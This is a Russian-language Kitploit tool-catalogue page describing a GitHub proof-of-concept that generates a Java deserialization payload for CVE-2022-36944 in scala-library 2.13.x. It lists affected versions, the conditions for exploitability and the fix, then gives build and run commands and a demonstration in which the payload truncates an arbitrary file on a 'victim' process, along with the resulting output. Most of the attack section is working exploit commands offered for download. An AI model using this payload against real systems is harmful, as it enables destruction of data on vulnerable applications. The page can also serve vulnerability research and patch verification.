Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
lazylist-cve-poc — POC для эксплуатации уязвимости CVE-2022-36944 | Kitploit
Инструменты/GitHubGitHub/yarocher/lazylist-cve-poc
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubyarocher/lazylist-cve-poc

lazylist-cve-poc

POC для эксплуатации уязвимости CVE-2022-36944

Репозиторий
111133 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Генератор пейлоадов для CVE-2022-36944

Этот мини-проект создан для демонстрации proof of concept уязвимости CVE-2022-36944. Он похож на ysoserial, но генерирует пейлоад только для этой CVE с использованием класса LazyList.

Краткий FAQ

В каких артефактах содержится уязвимость?

org.scala-lang:scala-library с версиями 2.13.x до 2.13.9

Какие приложения уязвимы?

Для того чтобы ваше приложение стало эксплуатируемым, должны выполняться два условия:

  • Ваше приложение содержит уязвимый jar-файл scala-library в classpath
  • ObjectInputStream#readObject() в конечном счёте вызывается где-то в вашем приложении, и недоверенные данные (контролируемые атакующим) передаются в него

Где была исправлена уязвимость?

См. PR в scala: #10118

Сборка

root@kitploit:~
mvn clean package

Запуск

Следующая команда выведет пейлоад в stdout; его можно использовать для усечения произвольного файла на машине жертвы:

root@kitploit:~
mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="/file/to/truncate false"

Демонстрация

A) Через файл

  1. Подготовьте тестовый файл с данными внутри:
root@kitploit:~
$ yes sometestdata > test_data
^C
$ head test_data 
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
  1. Сгенерируйте пейлоад и сохраните его в файл payload.ser:
root@kitploit:~
$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" > payload.ser
  1. Запустите процесс жертвы (ожидается исключение ClassCastException):
root@kitploit:~
$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="payload.ser"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
  1. Проверьте, что файл жертвы усечён:
root@kitploit:~
$ head test_data 
$ 

B) Передача в stdin

Шаги 2–3 можно объединить следующим образом (используйте - в качестве файла для Victim):

root@kitploit:~
$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" | mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="-"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
Скачать инструмент